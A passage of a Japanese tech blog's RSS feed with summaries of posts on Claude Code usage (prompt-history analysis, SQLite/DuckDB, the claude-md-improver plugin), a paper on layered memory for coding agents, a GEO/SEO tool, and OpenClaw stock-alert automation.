&lt;li&gt;&lt;strong&gt;受動的な観察&lt;/strong&gt;: 普段の業務でのプロンプト利用を分析するだけで、能動的なヒアリングが不要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定量的な評価&lt;/strong&gt;: どの分野にどれだけ質問しているかを数値化できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的なトラッキング&lt;/strong&gt;: 時系列での成長を追跡できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="実現に向けた考慮点"&gt;実現に向けた考慮点&lt;/h2&gt;
&lt;p&gt;このような仕組みを導入する際には、いくつかの点を考慮する必要があります。&lt;/p&gt;
&lt;h3 id="プライバシーへの配慮"&gt;プライバシーへの配慮&lt;/h3&gt;
&lt;p&gt;プロンプト履歴には業務上の機密情報が含まれる可能性があるため、分析対象の範囲や匿名化の方法を検討する必要があります。&lt;/p&gt;
&lt;h3 id="分析精度の担保"&gt;分析精度の担保&lt;/h3&gt;
&lt;p&gt;単純なキーワードマッチだけでは正確な理解度評価は難しく、文脈を考慮した分析が求められます。Claude Code 自体の言語理解能力を活かすことで、より精度の高い分析が可能になるでしょう。&lt;/p&gt;
&lt;h3 id="フィードバックループの構築"&gt;フィードバックループの構築&lt;/h3&gt;
&lt;p&gt;分析結果を本人にフィードバックし、推奨学習リソースを提示するところまで自動化できれば、より実用的な教育ツールになります。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;Claude Code の Skills を活用したプロンプト履歴分析は、AI ツールの利用ログそのものを教育データとして活用するという発想です。新人が日常的に AI に質問する行為自体が、自然と学習進捗の記録になるというのは、AI 時代ならではの教育アプローチと言えます。&lt;/p&gt;</description></item><item><title>Claude Codeで大量データを扱うならSQLite/DuckDBを使おう</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E5%A4%A7%E9%87%8F%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E6%89%B1%E3%81%86%E3%81%AA%E3%82%89sqlite/duckdb%E3%82%92%E4%BD%BF%E3%81%8A%E3%81%86/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E5%A4%A7%E9%87%8F%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E6%89%B1%E3%81%86%E3%81%AA%E3%82%89sqlite/duckdb%E3%82%92%E4%BD%BF%E3%81%8A%E3%81%86/</guid><description>&lt;p&gt;Claude Code で Markdown や JSON ファイルを直接編集してデータ管理を行うのは、少量のデータなら問題ありません。しかし、レコード数が100件を超えるような規模になると、スキーマ違反や細かいスクリプト制御の問題、パフォーマンスの低下が発生しやすくなります。こうした場面では、SQLite や DuckDB を活用するのが効果的です。&lt;/p&gt;
&lt;h2 id="markdownjson-直接編集の限界"&gt;Markdown/JSON 直接編集の限界&lt;/h2&gt;
&lt;p&gt;Claude Code にMarkdown ファイルや JSON ファイルを直接編集させる方法は、手軽で分かりやすい反面、データ量が増えると以下の問題が顕在化します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;スキーマ違反&lt;/strong&gt;: JSON の構造が崩れたり、必須フィールドが欠落するケースが発生する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;細かいスクリプト制御が必要になる&lt;/strong&gt;: データの整合性を保つために、バリデーションや変換のスクリプトが増えていく&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンス低下&lt;/strong&gt;: ファイル全体を読み込んで書き戻す処理が、レコード数に比例して遅くなる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sqlite-を使うメリット"&gt;SQLite を使うメリット&lt;/h2&gt;
&lt;p&gt;SQLite はファイルベースの軽量データベースで、Claude Code との相性が良好です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# SQLite データベースを作成してテーブルを定義&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sqlite3 data.db &lt;span style="color:#e6db74"&gt;&amp;#34;CREATE TABLE items (id INTEGER PRIMARY KEY, name TEXT, value REAL);&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Claude Code から SQL でデータを操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sqlite3 data.db &lt;span style="color:#e6db74"&gt;&amp;#34;INSERT INTO items (name, value) VALUES (&amp;#39;example&amp;#39;, 42.0);&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sqlite3 data.db &lt;span style="color:#e6db74"&gt;&amp;#34;SELECT * FROM items WHERE value &amp;gt; 10;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ACID準拠&lt;/strong&gt;: データの整合性がデータベースエンジンによって保証される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL によるクエリ&lt;/strong&gt;: 複雑な検索・集計・更新が簡潔に記述できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;単一ファイル&lt;/strong&gt;: &lt;code&gt;.db&lt;/code&gt; ファイル1つで完結し、バックアップやコピーが容易&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="duckdb-を使うメリット"&gt;DuckDB を使うメリット&lt;/h2&gt;
&lt;p&gt;DuckDB は分析用途に特化したインプロセスデータベースです。CSV、Parquet、JSON などのファイルを直接 SQL でクエリできます。&lt;/p&gt;</description></item><item><title>CLAUDE.mdを採点・改善してくれるClaude Code公式プラグイン claude-md-improver</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude.md%E3%82%92%E6%8E%A1%E7%82%B9%E6%94%B9%E5%96%84%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8Bclaude-code%E5%85%AC%E5%BC%8F%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3-claude-md-improver/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude.md%E3%82%92%E6%8E%A1%E7%82%B9%E6%94%B9%E5%96%84%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8Bclaude-code%E5%85%AC%E5%BC%8F%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3-claude-md-improver/</guid><description>&lt;p&gt;Claude Code を使っていると、プロジェクトのコンテキストを伝える &lt;code&gt;CLAUDE.md&lt;/code&gt; の質が作業効率に直結することに気づきます。Anthropic 公式プラグイン &lt;strong&gt;claude-md-management&lt;/strong&gt; に含まれる &lt;code&gt;claude-md-improver&lt;/code&gt; スキルは、CLAUDE.md を自動で採点し、改善点を提案してくれる便利なツールです。&lt;/p&gt;
&lt;h2 id="claude-md-management-プラグインとは"&gt;claude-md-management プラグインとは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/anthropics/claude-plugins-official/tree/main/plugins/claude-md-management"&gt;claude-md-management&lt;/a&gt; は、Anthropic が公式に管理している Claude Code プラグインです。CLAUDE.md ファイルの品質を監査し、セッションで得た知見を反映するための2つのスキルを提供します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;スキル&lt;/th&gt;
&lt;th&gt;呼び出し方&lt;/th&gt;
&lt;th&gt;目的&lt;/th&gt;
&lt;th&gt;使いどころ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;claude-md-improver&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;会話で依頼&lt;/td&gt;
&lt;td&gt;CLAUDE.md をコードベースの現状に合わせる&lt;/td&gt;
&lt;td&gt;定期的なメンテナンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;revise-claude-md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/claude-md-management:revise-claude-md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;セッション中の学びを記録する&lt;/td&gt;
&lt;td&gt;セッション終了時&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: &lt;code&gt;/revise-claude-md&lt;/code&gt; のような短縮名では呼び出せません。必ず &lt;code&gt;/claude-md-management:revise-claude-md&lt;/code&gt; と完全修飾名を使ってください。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="インストール方法"&gt;インストール方法&lt;/h2&gt;
&lt;p&gt;公式マーケットプレイスは Claude Code 起動時に自動で利用可能になっているため、以下のコマンドだけでインストールできます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/plugin install claude-md-management@claude-plugins-official
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;UI からインストールする場合は、&lt;code&gt;/plugin&lt;/code&gt; を実行して &lt;strong&gt;Discover&lt;/strong&gt; タブから &lt;code&gt;claude-md-management&lt;/code&gt; を選択します。インストールスコープは以下の3種類から選べます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;スコープ&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;自分の全プロジェクトで有効（デフォルト）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project&lt;/td&gt;
&lt;td&gt;このリポジトリの全コラボレーターで有効（&lt;code&gt;.claude/settings.json&lt;/code&gt; に記録）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local&lt;/td&gt;
&lt;td&gt;このリポジトリの自分だけで有効&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;インストール後、&lt;code&gt;/reload-plugins&lt;/code&gt; を実行すると再起動なしで有効化されます。&lt;/p&gt;
&lt;h2 id="claude-md-improver-の使い方"&gt;claude-md-improver の使い方&lt;/h2&gt;
&lt;p&gt;Claude Code のセッション中に、以下のように話しかけるだけで起動します。&lt;/p&gt;</description></item><item><title>Codified Context — 10万行規模の開発でもAIに一貫したコードを書かせる3層メモリ手法</title><link>https://hdknr.github.io/blogs/posts/2026/03/codified-context-10%E4%B8%87%E8%A1%8C%E8%A6%8F%E6%A8%A1%E3%81%AE%E9%96%8B%E7%99%BA%E3%81%A7%E3%82%82ai%E3%81%AB%E4%B8%80%E8%B2%AB%E3%81%97%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8B%E3%81%9B%E3%82%8B3%E5%B1%A4%E3%83%A1%E3%83%A2%E3%83%AA%E6%89%8B%E6%B3%95/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/codified-context-10%E4%B8%87%E8%A1%8C%E8%A6%8F%E6%A8%A1%E3%81%AE%E9%96%8B%E7%99%BA%E3%81%A7%E3%82%82ai%E3%81%AB%E4%B8%80%E8%B2%AB%E3%81%97%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8B%E3%81%9B%E3%82%8B3%E5%B1%A4%E3%83%A1%E3%83%A2%E3%83%AA%E6%89%8B%E6%B3%95/</guid><description>&lt;p&gt;LLMベースのコーディングエージェント（Claude Code、Cursor など）は、セッションが変わるたびにプロジェクトの規約や過去のミスを忘れてしまう。小さなプロトタイプなら問題にならないが、10万行を超える大規模コードベースでは「毎回同じ説明をする」「直したはずのバグパターンが再発する」といったコストが無視できなくなる。&lt;/p&gt;
&lt;p&gt;2026年2月に公開された論文 &lt;a href="https://arxiv.org/abs/2602.20478"&gt;Codified Context: Infrastructure for AI Agents in a Complex Codebase&lt;/a&gt;（Aristidis Vasilopoulos）は、この問題に対して &lt;strong&gt;3層のメモリインフラストラクチャ&lt;/strong&gt; を提案し、108,000行のC#分散システムを283セッションかけて構築した実践データとともに検証している。&lt;/p&gt;
&lt;h2 id="問題セッション間で失われる記憶"&gt;問題：セッション間で失われる記憶&lt;/h2&gt;
&lt;p&gt;LLMエージェントは各セッションの開始時にコンテキストがリセットされる。&lt;code&gt;.cursorrules&lt;/code&gt; や &lt;code&gt;CLAUDE.md&lt;/code&gt; のような単一ファイルでプロジェクト規約を伝える方法は小規模なら有効だが、10万行規模のシステムでは単一プロンプトに収まりきらない。&lt;/p&gt;
&lt;p&gt;結果として起きる典型的な問題:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;命名規則やアーキテクチャパターンの逸脱&lt;/li&gt;
&lt;li&gt;過去に修正した失敗パターンの再発&lt;/li&gt;
&lt;li&gt;サブシステム間の整合性の欠如&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提案手法3層の-codified-context"&gt;提案手法：3層の Codified Context&lt;/h2&gt;
&lt;p&gt;論文では、プロジェクト知識を &lt;strong&gt;負荷分散インフラストラクチャ&lt;/strong&gt; として扱う3層アーキテクチャを提案している。&lt;/p&gt;
&lt;h3 id="tier-1-hot-memory-constitution約660行"&gt;Tier 1: Hot-Memory Constitution（約660行）&lt;/h3&gt;
&lt;p&gt;常にセッションにロードされるMarkdownファイル。以下を含む:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コード品質基準・命名規則&lt;/li&gt;
&lt;li&gt;ビルドコマンド&lt;/li&gt;
&lt;li&gt;アーキテクチャパターンの要約&lt;/li&gt;
&lt;li&gt;よくある操作のチェックリスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;既知の失敗モード&lt;/strong&gt;（過去のバグパターン）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オーケストレーション用トリガーテーブル&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;トリガーテーブルは「どのファイルを変更したら、どの専門エージェントを呼ぶか」を定義する:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル変更&lt;/th&gt;
&lt;th&gt;割り当てエージェント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Network, sync&lt;/td&gt;
&lt;td&gt;network-protocol-designer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coordinates, camera&lt;/td&gt;
&lt;td&gt;coordinate-wizard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UI配信&lt;/td&gt;
&lt;td&gt;ui-sync-specialist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="tier-2-specialized-agents19エージェント約9300行"&gt;Tier 2: Specialized Agents（19エージェント、約9,300行）&lt;/h3&gt;
&lt;p&gt;タスクに応じて呼び出される専門エージェント群。2つのクラスに分かれる:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高能力エージェント&lt;/strong&gt;（8個、平均711行）: ネットワークプロトコル設計、アーキテクチャ検証、デバッグなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;標準能力エージェント&lt;/strong&gt;（11個、平均327行）: 特定タスクにフォーカス&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;各エージェント仕様の &lt;strong&gt;50%以上がプロジェクト固有のドメイン知識&lt;/strong&gt; で構成されている。コード例、数式、失敗モードなど、そのプロジェクトでしか使えない具体的な情報が埋め込まれている点が特徴。&lt;/p&gt;
&lt;h3 id="tier-3-cold-memory-knowledge-base34文書約16250行"&gt;Tier 3: Cold-Memory Knowledge Base（34文書、約16,250行）&lt;/h3&gt;
&lt;p&gt;サブシステムごとの詳細仕様をMarkdownで記述し、MCP（Model Context Protocol）検索サーバー経由でオンデマンド参照する:&lt;/p&gt;</description></item><item><title>geo-seo-claude：AI検索時代のSEO最適化をClaude Codeで自動化するオープンソースツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/geo-seo-claudeai%E6%A4%9C%E7%B4%A2%E6%99%82%E4%BB%A3%E3%81%AEseo%E6%9C%80%E9%81%A9%E5%8C%96%E3%82%92claude-code%E3%81%A7%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/geo-seo-claudeai%E6%A4%9C%E7%B4%A2%E6%99%82%E4%BB%A3%E3%81%AEseo%E6%9C%80%E9%81%A9%E5%8C%96%E3%82%92claude-code%E3%81%A7%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;ChatGPTやClaude、Perplexityなどの AI 検索エンジンに自社サイトを見つけてもらうための最適化ツール「&lt;a href="https://github.com/zubair-trabzada/geo-seo-claude"&gt;geo-seo-claude&lt;/a&gt;」がオープンソースで公開されている。従来の SEO に加えて、AI が引用・参照しやすいコンテンツ構造を自動分析・提案してくれる Claude Code 用スキルだ。&lt;/p&gt;
&lt;h2 id="geogenerative-engine-optimizationとは"&gt;GEO（Generative Engine Optimization）とは&lt;/h2&gt;
&lt;p&gt;従来の SEO が Google などの検索エンジンでの上位表示を目指すのに対し、GEO は AI 検索エンジン（ChatGPT、Claude、Perplexity、Gemini、Google AI Overviews）での「引用されやすさ」を最適化する考え方だ。&lt;/p&gt;
&lt;p&gt;AI がウェブ上の情報を参照して回答を生成する際、どのサイトが引用されるかは以下のような要素に左右される：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コンテンツの構造化の度合い&lt;/li&gt;
&lt;li&gt;AI クローラーへのアクセス許可（robots.txt）&lt;/li&gt;
&lt;li&gt;ブランドの権威性（各プラットフォームでの言及）&lt;/li&gt;
&lt;li&gt;スキーママークアップの品質&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="geo-seo-claude-の主な機能"&gt;geo-seo-claude の主な機能&lt;/h2&gt;
&lt;h3 id="引用可能性スコアリングcitability-scoring"&gt;引用可能性スコアリング（Citability Scoring）&lt;/h3&gt;
&lt;p&gt;コンテンツが AI に引用されやすい構造になっているかを評価する。134〜167語の最適な段落長、明確な見出し構造、事実ベースの記述かどうかなどをチェックする。&lt;/p&gt;
&lt;h3 id="ai-クローラー分析"&gt;AI クローラー分析&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; を解析し、14以上の AI ボット（GPTBot、ClaudeBot、PerplexityBot など）へのアクセス許可状況を確認する。ブロックしているボットがあれば、許可すべきかの推奨事項を提示する。&lt;/p&gt;
&lt;h3 id="ブランド言及スキャン"&gt;ブランド言及スキャン&lt;/h3&gt;
&lt;p&gt;YouTube、Reddit、Wikipedia、LinkedIn など7つ以上のプラットフォームでのブランド言及を検出する。AI は複数ソースでの言及が多いサイトをより信頼性が高いと判断する傾向がある。&lt;/p&gt;
&lt;h3 id="プラットフォーム別最適化"&gt;プラットフォーム別最適化&lt;/h3&gt;
&lt;p&gt;ChatGPT、Perplexity、Google AI Overviews それぞれの特性に合わせた最適化提案を行う。各 AI 検索エンジンがコンテンツを処理する方法は異なるため、プラットフォームごとのカスタマイズが重要になる。&lt;/p&gt;
&lt;h3 id="llmstxt-生成"&gt;llms.txt 生成&lt;/h3&gt;
&lt;p&gt;AI クローラーがサイト構造を理解しやすくするための新興標準ファイル &lt;code&gt;llms.txt&lt;/code&gt; を自動生成する。Answer.AI の Jeremy Howard が提案した規格で、&lt;code&gt;robots.txt&lt;/code&gt; の AI 版のような位置づけを目指している（現時点ではまだ提案段階）。&lt;/p&gt;
&lt;h3 id="pdf-レポート生成"&gt;PDF レポート生成&lt;/h3&gt;
&lt;p&gt;スコアゲージ、棒グラフ、カラーコード付きテーブルなど、視覚的にわかりやすいプロフェッショナルな監査レポートを PDF 形式で出力できる。&lt;/p&gt;</description></item><item><title>OpenClaw で保有銘柄の情報収集を完全自動化する — 決算通知・株価アラート・ニュース収集の実装例</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E4%BF%9D%E6%9C%89%E9%8A%98%E6%9F%84%E3%81%AE%E6%83%85%E5%A0%B1%E5%8F%8E%E9%9B%86%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-%E6%B1%BA%E7%AE%97%E9%80%9A%E7%9F%A5%E6%A0%AA%E4%BE%A1%E3%82%A2%E3%83%A9%E3%83%BC%E3%83%88%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B9%E5%8F%8E%E9%9B%86%E3%81%AE%E5%AE%9F%E8%A3%85%E4%BE%8B/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E4%BF%9D%E6%9C%89%E9%8A%98%E6%9F%84%E3%81%AE%E6%83%85%E5%A0%B1%E5%8F%8E%E9%9B%86%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-%E6%B1%BA%E7%AE%97%E9%80%9A%E7%9F%A5%E6%A0%AA%E4%BE%A1%E3%82%A2%E3%83%A9%E3%83%BC%E3%83%88%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B9%E5%8F%8E%E9%9B%86%E3%81%AE%E5%AE%9F%E8%A3%85%E4%BE%8B/</guid><description>&lt;p&gt;オープンソースの AI エージェント基盤 &lt;strong&gt;OpenClaw&lt;/strong&gt; を使って、保有銘柄の株価アラート・決算通知・ニュース収集を自動化した実装事例を紹介します。Zenn の実践記事を元に、設計思想と実装パターンを整理しました。&lt;/p&gt;
&lt;h2 id="個人投資家が抱える情報収集の課題"&gt;個人投資家が抱える情報収集の課題&lt;/h2&gt;
&lt;p&gt;趣味で株式投資をしていると、以下の問題に直面します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;受動的な情報取得&lt;/strong&gt; — 自分で証券アプリを開いて確認する必要があり、変動への気付きが遅れる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報の分散&lt;/strong&gt; — 株価、ニュース、決算情報が異なるサービスに散在&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文脈の欠如&lt;/strong&gt; — 「株価が3%下がった」という事実だけでは理由がわからない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手動メンテナンス&lt;/strong&gt; — 新規銘柄追加時に各サービスへの個別登録が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜ-openclaw-が向いているか"&gt;なぜ OpenClaw が向いているか&lt;/h2&gt;
&lt;p&gt;OpenClaw は Peter Steinberger 氏が開発したオープンソースの AI エージェント基盤です。以下の特徴が情報収集の自動化に適しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;常時起動・定期実行&lt;/strong&gt; — クラウド上で 24 時間稼働し、cron スケジューラーで定期タスクを実行できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM による文脈理解&lt;/strong&gt; — 単純なアラートと異なり、「何が起きたか」だけでなく「なぜ起きたか」まで Web 検索で調べて報告できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;柔軟な報告内容&lt;/strong&gt; — 自然言語でプロンプトに指示を書くだけで報告フォーマットをカスタマイズできる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="アーキテクチャ全体像"&gt;アーキテクチャ全体像&lt;/h2&gt;
&lt;p&gt;設計の核は &lt;strong&gt;Single Source of Truth（信頼できる唯一の情報源）&lt;/strong&gt; です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Google スプレッドシート（マスターデータ）
↓ portfolio-sync（毎日 6:20）
portfolio.json ─→ interests.json
↓ ↓
株価アラート ニュース収集
決算通知 週次レポート
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;銘柄追加・削除時はスプレッドシートを更新するだけで、下流の全システム（ニュース収集、アラート、レポート）に自動反映されます。&lt;/p&gt;
&lt;h2 id="cron-ジョブ一覧"&gt;cron ジョブ一覧&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;時刻&lt;/th&gt;
&lt;th&gt;ジョブ&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;6:20&lt;/td&gt;
&lt;td&gt;portfolio-sync&lt;/td&gt;
&lt;td&gt;スプレッドシート → portfolio.json 同期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;毎時:30&lt;/td&gt;
&lt;td&gt;news-auto-collect&lt;/td&gt;
&lt;td&gt;保有銘柄関連ニュースを自動収集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7:00&lt;/td&gt;
&lt;td&gt;morning-start&lt;/td&gt;
&lt;td&gt;翌日決算があれば通知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:00&lt;/td&gt;
&lt;td&gt;portfolio-alert-am&lt;/td&gt;
&lt;td&gt;3%以上変動でアラート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14:30&lt;/td&gt;
&lt;td&gt;portfolio-alert-pm&lt;/td&gt;
&lt;td&gt;3%以上変動でアラート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17:00&lt;/td&gt;
&lt;td&gt;earnings-report&lt;/td&gt;
&lt;td&gt;当日決算発表の結果報告&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
